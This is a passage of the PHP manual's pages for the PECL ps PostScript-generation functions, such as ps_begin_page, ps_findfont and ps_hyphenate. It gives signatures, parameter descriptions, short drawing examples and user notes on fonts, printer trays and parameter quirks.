The start angle given in degrees.

beta

The end angle given in degrees.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc clockwise

  • ? ps_arc
  • ps_begin_page ?
  • PHP Manual
  • PS 函数
  • Draws an arc clockwise

ps_arcn

(PECL ps >= 1.1.0)

ps_arcn — Draws an arc clockwise

说明

ps_arcn(
resource $psdoc,
float $x,
float $y,
float $radius,
float $alpha,
float $beta
): bool

Draws a portion of a circle with at middle point at (x, y). The arc starts at an angle of alpha and ends at an angle of beta. It is drawn clockwise (use ps_arc() to draw counterclockwise). The subpath added to the current path starts on the arc at angle beta and ends on the arc at angle alpha.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

alpha

The starting angle given in degrees.

beta

The end angle given in degrees.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_arc() - Draws an arc counterclockwise

User Contributed Notes

There are no user contributed notes for this page.


Start a new page

  • ? ps_arcn
  • ps_begin_pattern ?
  • PHP Manual
  • PS 函数
  • Start a new page

ps_begin_page

(PECL ps >= 1.1.0)

ps_begin_page — Start a new page

说明

ps_begin_page(resource $psdoc, float $width, float $height): bool

Starts a new page. Although the parameters width and height imply a different page size for each page, this is not possible in PostScript. The first call of ps_begin_page() will set the page size for the whole document. Consecutive calls will have no effect, except for creating a new page. The situation is different if you intent to convert the PostScript document into PDF. This function places pdfmarks into the document which can set the size for each page indiviually. The resulting PDF document will have different page sizes.

Though PostScript does not know different page sizes, pslib places a bounding box for each page into the document. This size is evaluated by some PostScript viewers and will have precedence over the BoundingBox in the Header of the document. This can lead to unexpected results when you set a BoundingBox whose lower left corner is not (0, 0), because the bounding box of the page will always have a lower left corner (0, 0) and overwrites the global setting.

Each page is encapsulated into save/restore. This means, that most of the settings made on one page will not be retained on the next page.

If there is up to the first call of ps_begin_page() no call of ps_findfont(), then the header of the PostScript document will be output and the bounding box will be set to the size of the first page. The lower left corner of the bounding box is set to (0, 0). If ps_findfont() was called before, then the header has been output already, and the document will not have a valid bounding box. In order to prevent this, one should call ps_set_info() to set the info field BoundingBox and possibly Orientation before any ps_findfont() or ps_begin_page() calls.

Note:

Up to version 0.2.6 of pslib, this function will always overwrite the BoundingBox and Orientation, if it has been set before with ps_set_info() and ps_findfont() has not been called before.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the page in pixel, e.g. 596 for A4 format.

height

The height of the page in pixel, e.g. 842 for A4 format.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_end_page() - End a page
  • ps_findfont() - Loads a font
  • ps_set_info() - Sets information fields of document

User Contributed Notes

There are no user contributed notes for this page.


Start a new pattern

  • ? ps_begin_page
  • ps_begin_template ?
  • PHP Manual
  • PS 函数
  • Start a new pattern

ps_begin_pattern

(PECL ps >= 1.2.0)

ps_begin_pattern — Start a new pattern

说明

ps_begin_pattern(
resource $psdoc,
float $width,
float $height,
float $xstep,
float $ystep,
int $painttype
): int|false

Starts a new pattern. A pattern is like a page containing e.g. a drawing which can be used for filling areas. It is used like a color by calling ps_setcolor() and setting the color space to pattern.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the pattern in pixel.

height

The height of the pattern in pixel.

x-step

The distance in pixel of placements of the pattern in horizontal direction.

y-step

The distance in pixel of placements of the pattern in vertical direction.

painttype

Must be 1 or 2.

返回值

The identifier of the pattern 或者在失败时返回 false.

示例

Example #1 Creating and using a pattern

<?php
$ps = ps_new();

if (!ps_open_file($ps, "pattern.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "pattern.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Pattern example");

$pspattern = ps_begin_pattern($ps, 10.0, 10.0, 10.0, 10.0, 1);
ps_setlinewidth($ps, 0.2);
ps_setcolor($ps, "stroke", "rgb", 0.0, 0.0, 1.0, 0.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 7, 7);
ps_stroke($ps);
ps_moveto($ps, 0, 7);
ps_lineto($ps, 7, 0);
ps_stroke($ps);
ps_end_pattern($ps);

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "both", "pattern", $pspattern, 0.0, 0.0, 0.0);
ps_rect($ps, 50, 400, 200, 200);
ps_fill($ps);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

参见

  • ps_end_pattern() - End a pattern
  • ps_setcolor() - Sets current color
  • ps_shading_pattern() - Creates a pattern based on a shading

User Contributed Notes

There are no user contributed notes for this page.


Start a new template

  • ? ps_begin_pattern
  • ps_circle ?
  • PHP Manual
  • PS 函数
  • Start a new template

ps_begin_template

(PECL ps >= 1.2.0)

ps_begin_template — Start a new template

说明

ps_begin_template(resource $psdoc, float $width, float $height): int

Starts a new template. A template is called a form in the postscript language. It is created similar to a pattern but used like an image. Templates are often used for drawings which are placed several times through out the document, e.g. like a company logo. All drawing functions may be used within a template. The template will not be drawn until it is placed by ps_place_image().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

width

The width of the template in pixel.

height

The height of the template in pixel.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Creating and using a template

<?php
$ps = ps_new();

if (!ps_open_file($ps, "template.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "template.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Template example");

$pstemplate = ps_begin_template($ps, 30.0, 30.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 30, 30);
ps_moveto($ps, 0, 30);
ps_lineto($ps, 30, 0);
ps_stroke($ps);
ps_end_template($ps);

ps_begin_page($ps, 596, 842);
ps_place_image($ps, $pstemplate, 20.0, 20.0, 1.0);
ps_place_image($ps, $pstemplate, 50.0, 30.0, 0.5);
ps_place_image($ps, $pstemplate, 70.0, 70.0, 0.6);
ps_place_image($ps, $pstemplate, 30.0, 50.0, 1.3);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

参见

  • ps_end_template() - End a template

User Contributed Notes

There are no user contributed notes for this page.


Draws a circle

  • ? ps_begin_template
  • ps_clip ?
  • PHP Manual
  • PS 函数
  • Draws a circle

ps_circle

(PECL ps >= 1.1.0)

ps_circle — Draws a circle

说明

ps_circle(
resource $psdoc,
float $x,
float $y,
float $radius
): bool

Draws a circle with its middle point at (x, y). The circle starts and ends at position (x+radius, y). If this function is called outside a path it will start a new path. If it is called within a path it will add the circle as a subpath. If the last drawing operation does not end in point (x+radius, y) then there will be a gap in the path.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

The x-coordinate of the circle's middle point.

y

The y-coordinate of the circle's middle point.

radius

The radius of the circle

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_arc() - Draws an arc counterclockwise
  • ps_arcn() - Draws an arc clockwise

User Contributed Notes

There are no user contributed notes for this page.


Clips drawing to current path

  • ? ps_circle
  • ps_close_image ?
  • PHP Manual
  • PS 函数
  • Clips drawing to current path

ps_clip

(PECL ps >= 1.1.0)

ps_clip — Clips drawing to current path

说明

ps_clip(resource $psdoc): bool

Takes the current path and uses it to define the border of a clipping area. Everything drawn outside of that area will not be visible.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.


Closes image and frees memory

  • ? ps_clip
  • ps_close ?
  • PHP Manual
  • PS 函数
  • Closes image and frees memory

ps_close_image

(PECL ps >= 1.1.0)

ps_close_image — Closes image and frees memory

说明

ps_close_image(resource $psdoc, int $imageid): void|false

Closes an image and frees its resources. Once an image is closed it cannot be used anymore.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

imageid

Resource identifier of the image as returned by ps_open_image() or ps_open_image_file().

返回值

Returns null on success 或者在失败时返回 false.

参见

  • ps_open_image() - Reads an image for later placement
  • ps_open_image_file() - Opens image from file

User Contributed Notes

There are no user contributed notes for this page.


Closes a PostScript document

  • ? ps_close_image
  • ps_closepath_stroke ?
  • PHP Manual
  • PS 函数
  • Closes a PostScript document

ps_close

(PECL ps >= 1.1.0)

ps_close — Closes a PostScript document

说明

ps_close(resource $psdoc): bool

Closes the PostScript document.

This function writes the trailer of the PostScript document. It also writes the bookmark tree. ps_close() does not free any resources, which is done by ps_delete().

This function is also called by ps_delete() if it has not been called before.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_open_file() - Opens a file for output
  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


Closes and strokes path

  • ? ps_close
  • ps_closepath ?
  • PHP Manual
  • PS 函数
  • Closes and strokes path

ps_closepath_stroke

(PECL ps >= 1.1.0)

ps_closepath_stroke — Closes and strokes path

说明

ps_closepath_stroke(resource $psdoc): bool

Connects the last point with first point of a path and draws the resulting closed line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_closepath() - Closes path

User Contributed Notes

There are no user contributed notes for this page.


Closes path

  • ? ps_closepath_stroke
  • ps_continue_text ?
  • PHP Manual
  • PS 函数
  • Closes path

ps_closepath

(PECL ps >= 1.1.0)

ps_closepath — Closes path

说明

ps_closepath(resource $psdoc): bool

Connects the last point with the first point of a path. The resulting path can be used for stroking, filling, clipping, etc..

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_clip() - Clips drawing to current path
  • ps_closepath_stroke() - Closes and strokes path

User Contributed Notes

There are no user contributed notes for this page.


Continue text in next line

  • ? ps_closepath
  • ps_curveto ?
  • PHP Manual
  • PS 函数
  • Continue text in next line

ps_continue_text

(PECL ps >= 1.1.0)

ps_continue_text — Continue text in next line

说明

ps_continue_text(resource $psdoc, string $text): bool

Output a text one line below the last line. The line spacing is taken from the value "leading" which must be set with ps_set_value(). The actual position of the text is determined by the values "textx" and "texty" which can be requested with ps_get_value()

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to output.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_show() - Output text
  • ps_show_xy() - Output text at given position
  • ps_show_boxed() - Output text in a box

User Contributed Notes

There are no user contributed notes for this page.


Draws a curve

  • ? ps_continue_text
  • ps_delete ?
  • PHP Manual
  • PS 函数
  • Draws a curve

ps_curveto

(PECL ps >= 1.1.0)

ps_curveto — Draws a curve

说明

ps_curveto(
resource $psdoc,
float $x1,
float $y1,
float $x2,
float $y2,
float $x3,
float $y3
): bool

Add a section of a cubic Bézier curve described by the three given control points to the current path.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x1

x-coordinate of first control point.

y1

y-coordinate of first control point.

x2

x-coordinate of second control point.

y2

y-coordinate of second control point.

x3

x-coordinate of third control point.

y3

y-coordinate of third control point.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.


Deletes all resources of a PostScript document

  • ? ps_curveto
  • ps_end_page ?
  • PHP Manual
  • PS 函数
  • Deletes all resources of a PostScript document

ps_delete

(PECL ps >= 1.1.0)

ps_delete — Deletes all resources of a PostScript document

说明

ps_delete(resource $psdoc): bool

Mainly frees memory used by the document. Also closes a file, if it was not closed before with ps_close(). You should in any case close the file with ps_close() before, because ps_close() not just closes the file but also outputs a trailor containing PostScript comments like the number of pages in the document and adding the bookmark hierarchy.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_close() - Closes a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


End a page

  • ? ps_delete
  • ps_end_pattern ?
  • PHP Manual
  • PS 函数
  • End a page

ps_end_page

(PECL ps >= 1.1.0)

ps_end_page — End a page

说明

ps_end_page(resource $psdoc): bool

Ends a page which was started with ps_begin_page(). Ending a page will leave the current drawing context, which e.g. requires to reload fonts if they were loading within the page, and to set many other drawing parameters like the line width, or color.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_begin_page() - Start a new page

User Contributed Notes

There are no user contributed notes for this page.


End a pattern

  • ? ps_end_page
  • ps_end_template ?
  • PHP Manual
  • PS 函数
  • End a pattern

ps_end_pattern

(PECL ps >= 1.2.0)

ps_end_pattern — End a pattern

说明

ps_end_pattern(resource $psdoc): bool

Ends a pattern which was started with ps_begin_pattern(). Once a pattern has been ended, it can be used like a color to fill areas.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_begin_pattern() - Start a new pattern

User Contributed Notes

There are no user contributed notes for this page.


End a template

  • ? ps_end_pattern
  • ps_fill_stroke ?
  • PHP Manual
  • PS 函数
  • End a template

ps_end_template

(PECL ps >= 1.2.0)

ps_end_template — End a template

说明

ps_end_template(resource $psdoc): bool

Ends a template which was started with ps_begin_template(). Once a template has been ended, it can be used like an image.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_begin_template() - Start a new template

User Contributed Notes

There are no user contributed notes for this page.


Fills and strokes the current path

  • ? ps_end_template
  • ps_fill ?
  • PHP Manual
  • PS 函数
  • Fills and strokes the current path

ps_fill_stroke

(PECL ps >= 1.1.0)

ps_fill_stroke — Fills and strokes the current path

说明

ps_fill_stroke(resource $psdoc): bool

Fills and draws the path constructed with previously called drawing functions like ps_lineto().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_fill() - Fills the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.


Fills the current path

  • ? ps_fill_stroke
  • ps_findfont ?
  • PHP Manual
  • PS 函数
  • Fills the current path

ps_fill

(PECL ps >= 1.1.0)

ps_fill — Fills the current path

说明

ps_fill(resource $psdoc): bool

Fills the path constructed with previously called drawing functions like ps_lineto().

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_fill_stroke() - Fills and strokes the current path
  • ps_stroke() - Draws the current path

User Contributed Notes

There are no user contributed notes for this page.


Loads a font

  • ? ps_fill
  • ps_get_buffer ?
  • PHP Manual
  • PS 函数
  • Loads a font

ps_findfont

(PECL ps >= 1.1.0)

ps_findfont — Loads a font

说明

ps_findfont(
resource $psdoc,
string $fontname,
string $encoding,
bool $embed = false
): int

Loads a font for later use. Before text is output with a loaded font it must be set with ps_setfont(). This function needs the adobe font metric file in order to calculate the space used up by the characters. A font which is loaded within a page will only be available on that page. Fonts which are to be used in the complete document have to be loaded before the first call of ps_begin_page(). Calling ps_findfont() between pages will make that font available for all following pages.

The name of the afm file must be fontname.afm. If the font shall be embedded the file fontname.pfb containing the font outline must be present as well.

Calling ps_findfont() before the first page requires to output the postscript header which includes the BoundingBox for the whole document. Usually the BoundingBox is set with the first call of ps_begin_page() which now comes after ps_findfont(). Consequently the BoundingBox has not been set and a warning will be issued when ps_findfont() is called. In order to prevent this situation, one should call ps_set_parameter() to set the BoundingBox before ps_findfont() is called.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

fontname

The name of the font.

encoding

ps_findfont() will try to load the file passed in the parameter encoding. Encoding files are of the same syntax as those used by dvips(1). They contain a font encoding vector (which is currently not used but must be present) and a list of extra ligatures to extend the list of ligatures derived from the afm file.

encoding can be null or the empty string if the default encoding (TeXBase1) shall be used.

If the encoding is set to builtin then there will be no reencoding and the font specific encoding will be used. This is very useful with symbol fonts.

embed

If set to a value >0 the font will be embedded into the document. This requires the font outline (.pfb file) to be present.

返回值

Returns the identifier of the font or zero in case of an error. The identifier is a positive number.

参见

  • ps_begin_page() - Start a new page
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

yarych at bigmir dot net 25-Mar-2008 12:39
Ok, now I found the way to set the path I need for fonts - before calling ps_findfont() make a call like this:
<?php ps_set_parameter($psdoc, 'SearchPath', $fonts_dir); ?>

It works for pslib 0.4.1 version. (Looks like it didn't work in some earlier versions.)
yarych at bigmir dot net 29-Jan-2008 03:40
I've found out that pslib is searching for fonts in its data dir (/usr/share/pslib). There is no way to change the search path now.
pepe at dexef dot hu 13-Apr-2006 03:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com 25-Jul-2005 07:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.


Fetches the full buffer containig the generated PS data

  • ? ps_findfont
  • ps_get_parameter ?
  • PHP Manual
  • PS 函数
  • Fetches the full buffer containig the generated PS data

ps_get_buffer

(PECL ps >= 1.1.0)

ps_get_buffer — Fetches the full buffer containig the generated PS data

说明

ps_get_buffer(resource $psdoc): string

This function is not implemented yet. It will always return an empty string. The idea for a later implementation is to write the contents of the postscript file into an internal buffer if in memory creation is requested, and retrieve the buffer content with this function. Currently, documents created in memory are send to the browser without buffering.

Warning

本函数还未编写文档，仅有参数列表。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

参见

  • ps_open_file() - Opens a file for output

User Contributed Notes

There are no user contributed notes for this page.


Gets certain parameters

  • ? ps_get_buffer
  • ps_get_value ?
  • PHP Manual
  • PS 函数
  • Gets certain parameters

ps_get_parameter

(PECL ps >= 1.1.0)

ps_get_parameter — Gets certain parameters

说明

ps_get_parameter(resource $psdoc, string $name, float $modifier = ?): string|false

Gets several parameters which were directly set by ps_set_parameter() or indirectly by one of the other functions. Parameters are by definition string values. This function cannot be used to retrieve resources which were also set by ps_set_parameter().

The parameter name can have the following values.

fontname

The name of the currently active font or the font whose identifier is passed in parameter modifier.

fontencoding

The encoding of the currently active font.

dottedversion

The version of the underlying pslib library in the format <major>.<minor>.<subminor>

scope

The current drawing scope. Can be object, document, null, page, pattern, path, template, prolog, font, glyph.

ligaturedisolvechar

The character which dissolves a ligature. If your are using a font which contains the ligature `ff' and `|' is the char to dissolve the ligature, then `f|f' will result in two `f' instead of the ligature `ff'.

imageencoding

The encoding used for encoding images. Can be either hex or 85. hex encoding uses two bytes in the postscript file each byte in the image. 85 stand for Ascii85 encoding.

linenumbermode

Set to paragraph if lines are numbered within a paragraph or box if they are numbered within the surrounding box.

linebreak

Only used if text is output with ps_show_boxed(). If set to true a carriage return will add a line break.

parbreak

Only used if text is output with ps_show_boxed(). If set to true a carriage return will start a new paragraph.

hyphenation

Only used if text is output with ps_show_boxed(). If set to true the paragraph will be hyphenated if a hypen dictionary is set and exists.

hyphendict

Filename of the dictionary used for hyphenation pattern.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the parameter.

modifier

An identifier needed if a parameter of a resource is requested, e.g. the size of an image. In such a case the resource id is passed.

返回值

Returns the value of the parameter 或者在失败时返回 false.

参见

  • ps_set_parameter() - Sets certain parameters

User Contributed Notes

There are no user contributed notes for this page.


Gets certain values

  • ? ps_get_parameter
  • ps_hyphenate ?
  • PHP Manual
  • PS 函数
  • Gets certain values

ps_get_value

(PECL ps >= 1.1.0)

ps_get_value — Gets certain values

说明

ps_get_value(resource $psdoc, string $name, float $modifier = ?): float

Gets several values which were set by ps_set_value(). Values are by definition float values.

The parameter name can have the following values.

fontsize

The size of the currently active font or the font whose identifier is passed in parameter modifier.

font

The currently active font itself.

imagewidth

The width of the image whose id is passed in the parameter modifier.

imageheight

The height of the image whose id is passed in the parameter modifier.

capheight

The height of a capital M in the currently active font or the font whose identifier is passed in parameter modifier.

ascender

The ascender of the currently active font or the font whose identifier is passed in parameter modifier.

descender

The descender of the currently active font or the font whose identifier is passed in parameter modifier.

italicangle

The italicangle of the currently active font or the font whose identifier is passed in parameter modifier.

underlineposition

The underlineposition of the currently active font or the font whose identifier is passed in parameter modifier.

underlinethickness

The underlinethickness of the currently active font or the font whose identifier is passed in parameter modifier.

textx

The current x-position for text output.

texty

The current y-position for text output.

textrendering

The current mode for text rendering.

textrise

The space by which text is risen above the base line.

leading

The distance between text lines in points.

wordspacing

The space between words as a multiple of the width of a space char.

charspacing

The space between chars. If charspacing is != 0.0 ligatures will always be dissolved.

hyphenminchars

Minimum number of chars hyphenated at the end of a word.

parindent

Indention of the first n line in a paragraph.

numindentlines

Number of line in a paragraph to indent if parindent != 0.0.

parskip

Distance between paragraphs.

linenumberspace

Overall space in front of each line for the line number.

linenumbersep

Space between the line and the line number.

major

The major version number of pslib.

minor

The minor version number of pslib.

subminor, revision

The subminor version number of pslib.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the value.

modifier

The parameter modifier specifies the resource for which the value is to be retrieved. This can be the id of a font or an image.

返回值

Returns the value of the parameter or false.

参见

  • ps_set_value() - Sets certain values

User Contributed Notes

tilman dot schroeder at gmx dot de 31-Dec-2006 09:32
Note that the modifier parameter is REQUIRED in some (perhaps all) cases where you would not believe it to be required but optional:

<?php
$texty=ps_get_value($ps,'texty'); // does NOT work!

// but this works, however:

$foo=NULL;
$texty=ps_get_value($ps,'texty',$foo); // DOES work!

// this works too:
$texty=ps_get_value($ps,'texty',NULL);
?>

if your script just fails and sends a file with zero length to your browser just try the workaround above. saves time and you will not get upset ;)

would be nice if somebody would be able to tell why pslib behaves this way ...

PHP version 4.4.4-8, pslib verision 0.2.7-1 (Debian etch)

Bye and a happy new year!
Tilman


Hyphenates a word

  • ? ps_get_value
  • ps_include_file ?
  • PHP Manual
  • PS 函数
  • Hyphenates a word

ps_hyphenate

(PECL ps >= 1.1.1)

ps_hyphenate — Hyphenates a word

说明

ps_hyphenate(resource $psdoc, string $text): array|false

Hyphenates the passed word. ps_hyphenate() evaluates the value hyphenminchars (set by ps_set_value()) and the parameter hyphendict (set by ps_set_parameter()). hyphendict must be set before calling this function.

This function requires the locale category LC_CTYPE to be set properly. This is done when the extension is initialized by using the environment variables. On Unix systems read the man page of locale for more information.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

text should not contain any non alpha characters. Possible positions for breaks are returned in an array of interger numbers. Each number is the position of the char in text after which a hyphenation can take place.

返回值

An array of integers indicating the position of possible breaks in the text 或者在失败时返回 false.

示例

Example #1 Hyphennate a text

<?php
$word = "Koordinatensystem";
$psdoc = ps_new();
ps_set_parameter($psdoc, "hyphendict", "hyph_de.dic");
$hyphens = ps_hyphenate($psdoc, $word);
for($i=0; $i<strlen($word); $i++) {
echo $word[$i];
if(in_array($i, $hyphens))
echo "-";
}
ps_delete($psdoc);
?>

以上示例会输出：

Ko-ordi-na-ten-sys-tem

参见

  • ps_show_boxed() - Output text in a box
  • locale(1)

User Contributed Notes

1manfactory at gmail dot com 19-Nov-2016 05:28
The above example does NOT work with German Umlauts (??ü) properly.

I had to do the following to make it work.

setlocale (LC_CTYPE , "de_DE.iso88591"); # it does not work with "de_DE.utf8" and of course your system should run this locale setting

$hyphens = ps_hyphenate($psdoc, utf8_decode($word)); # only our couse if your source code is UTF8 coded

for($i=0; $i<mb_strlen($word); $i++) { # to be on the safe side

echo utf8_encode($word[$i]); # again only if your code is UTF8


Reads an external file with raw PostScript code

  • ? ps_hyphenate
  • ps_lineto ?
  • PHP Manual
  • PS 函数
  • Reads an external file with raw PostScript code

ps_include_file

(PECL ps >= 1.3.4)

ps_include_file — Reads an external file with raw PostScript code

说明

ps_include_file(resource $psdoc, string $file): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

file

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

php at catchall dot toao dot net 16-Jun-2009 12:46
I wanted to print to a specific tray of my printer, a Dell 3110cn.  Some printers allow you to specify in their config what tray will be used as a default tray, but my printer doesn't.  Googling told me that printing to a specific tray is not a function of PostScript but rather a function of my printer itself.  So, I had to find the function for my specific printer.  I located a PPD file for my printer.  Purely by luck (I searched through the file for the word 'tray') I found the following:

*InputSlot 2ndTray-H/Tray 2 (500 Sheets): "
  3 dict begin
  /MediaPosition 1 def
  /DeferredMediaSelection true def
  /TraySwitch false def
  currentdict end setpagedevice
" *End

I saved this as a file named Dell.ps, without the first and last lines, and with a blank line at the end.  Then I used the following command in my program:

<?php ps_include_file($ps, 'Dell.ps'); ?>

It worked!
lindsay at dingos dot net 14-Mar-2008 06:43
This method allows you to insert raw postscript at any point in the postscript document.
You can use this function to include 'Barcodes in pure PostScript' in the prolog of your postscript document, and then create a temporary file that contains the necessary postscript to actually call the barcode generating postscript function at whatever point in your document you want it to appear.

it would be nice if there was an alternate form of this function that allowed you to just insert the raw postscript other than make a temporary file to be opened by the function.


Draws a line

  • ? ps_include_file
  • ps_makespotcolor ?
  • PHP Manual
  • PS 函数
  • Draws a line

ps_lineto

(PECL ps >= 1.1.0)

ps_lineto — Draws a line

说明

ps_lineto(resource $psdoc, float $x, float $y): bool

Adds a straight line from the current point to the given coordinates to the current path. Use ps_moveto() to set the starting point of the line.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the end point of the line.

y

y-coordinate of the end point of the line.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Drawing a rectangle

<?php
$ps = ps_new();
if (!ps_open_file($ps, "rectangle.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Lineto example");

ps_begin_page($ps, 596, 842);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

参见

  • ps_moveto() - Sets current point

User Contributed Notes

There are no user contributed notes for this page.


Create spot color

  • ? ps_lineto
  • ps_moveto ?
  • PHP Manual
  • PS 函数
  • Create spot color

ps_makespotcolor

(PECL ps >= 1.1.0)

ps_makespotcolor — Create spot color

说明

ps_makespotcolor(resource $psdoc, string $name, int $reserved = 0): int

Creates a spot color from the current fill color. The fill color must be defined in rgb, cmyk or gray colorspace. The spot color name can be an arbitrary name. A spot color can be set as any color with ps_setcolor(). When the document is not printed but displayed by an postscript viewer the given color in the specified color space is use.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

name

Name of the spot color, e.g. Pantone 5565.

返回值

The id of the new spot color or 0 in case of an error.

示例

Example #1 Creating and using a spot color

<?php
$ps = ps_new();
if (!ps_open_file($ps, "spotcolor.ps")) {
print "Cannot open PostScript file\n";
exit;
}

ps_set_info($ps, "Creator", "spotcolor.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Spot color example");

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "fill", "cmyk", 0.37, 0.0, 0.34, 0.34);
$spotcolor = ps_makespotcolor($ps, "PANTONE 5565 C", 0);
ps_setcolor($ps, "fill", "spot", $spotcolor, 0.5, 0.0, 0.0);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_fill($ps);
ps_end_page($ps);

ps_delete($ps);
?>

This example creates the spot color "PANTONE 5565 C" which is a darker green (olive) and fills a rectangle with 50% intensity.

参见

  • ps_setcolor() - Sets current color

User Contributed Notes

There are no user contributed notes for this page.


Sets current point

  • ? ps_makespotcolor
  • ps_new ?
  • PHP Manual
  • PS 函数
  • Sets current point

ps_moveto

(PECL ps >= 1.1.0)

ps_moveto — Sets current point

说明

ps_moveto(resource $psdoc, float $x, float $y): bool

Sets the current point to new coordinates. If this is the first call of ps_moveto() after a previous path has been ended then it will start a new path. If this function is called in the middle of a path it will just set the current point and start a subpath.

参数

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the point to move to.

y

y-coordinate of the point to move to.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ps_lineto() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.


Creates a new PostScript document object

  • ? ps_moveto
  • ps_open_file ?
  • PHP Manual
  • PS 函数
  • Creates a new PostScript document object

ps_new

(PECL ps >= 1.1.0)

ps_new — Creates a new PostScript document object

说明

ps_new(): resource|false

Creates a new document instance. It does not create the file on disk or in memory, it just sets up everything. ps_new() is usually followed by a call of ps_open_file() to actually create the postscript document.

参数

此函数没有参数。

返回值

Resource of PostScript document 或者在失败时返回 false. The return value is passed to all other functions as the first argument.

参见

  • ps_delete() - Deletes all resources of a PostScript document

User Contributed Notes

There are no user contributed notes for this page.


Opens a file for output

  • ? ps_new
  • ps_open_image_file ?
  • PHP Manual
  • PS 函数
  • Opens a file for output

ps_open_file

(PECL ps >= 1.1.0)

ps_open_file — Opens a file for output

说明

ps_open_file(resource $psdoc, string $filename = ?): bool

Creates a new file on disk and writes the PostScript document into it. The file will be closed when ps_close() is called.

参数

psdoc

